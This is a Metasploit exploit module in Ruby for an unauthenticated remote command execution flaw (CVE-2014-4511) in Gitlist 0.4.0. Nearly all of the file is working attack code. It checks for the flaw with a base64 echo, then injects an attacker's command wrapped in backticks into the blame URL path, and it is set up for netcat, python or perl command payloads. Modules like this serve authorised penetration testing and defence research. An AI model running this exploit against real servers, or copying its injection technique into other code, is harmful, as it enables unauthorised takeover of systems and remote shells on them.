101 lines
2.5 KiB
Ruby
101 lines
2.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Gitlist Unauthenticated Command Execution',
|
|
'Description' => %q{
|
|
This module exploits an unauthenticated remote command execution vulnerability
|
|
in version 0.4.0 of Gitlist.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Privileged' => false,
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Author' =>
|
|
[
|
|
'@dronesec', #discovery/poc
|
|
'Brandon Perry <bperry.volatile@gmail.com>' #Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2014-4511'],
|
|
['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/'],
|
|
['EDB', '33929']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 9999, #arbitrary, length of GET request really
|
|
'BadChars' => "&\x20",
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic netcat netcat-e python perl',
|
|
}
|
|
},
|
|
'Targets' =>
|
|
[
|
|
['Gitlist 0.4.0', { }]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jun 30 2014'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5))
|
|
|
|
res = send_command("echo${IFS}" + chk + "|base64${IFS}--decode")
|
|
|
|
if res && res.body.include?(Rex::Text.decode_base64(chk))
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
send_command(payload.encoded)
|
|
end
|
|
|
|
def send_command(cmd)
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path)
|
|
})
|
|
|
|
unless res
|
|
fail_with("Server did not respond in an expected way")
|
|
end
|
|
|
|
first = /href="\/gitlist\/(.*)\/"/.match(res.body)
|
|
|
|
unless first && first.length >= 2
|
|
fail_with("We don't have a properly configured Gitlist installation")
|
|
end
|
|
|
|
first = first[1]
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, first, 'blame', 'master', '""`' + cmd + '`')
|
|
})
|
|
|
|
return res
|
|
end
|
|
|
|
end
|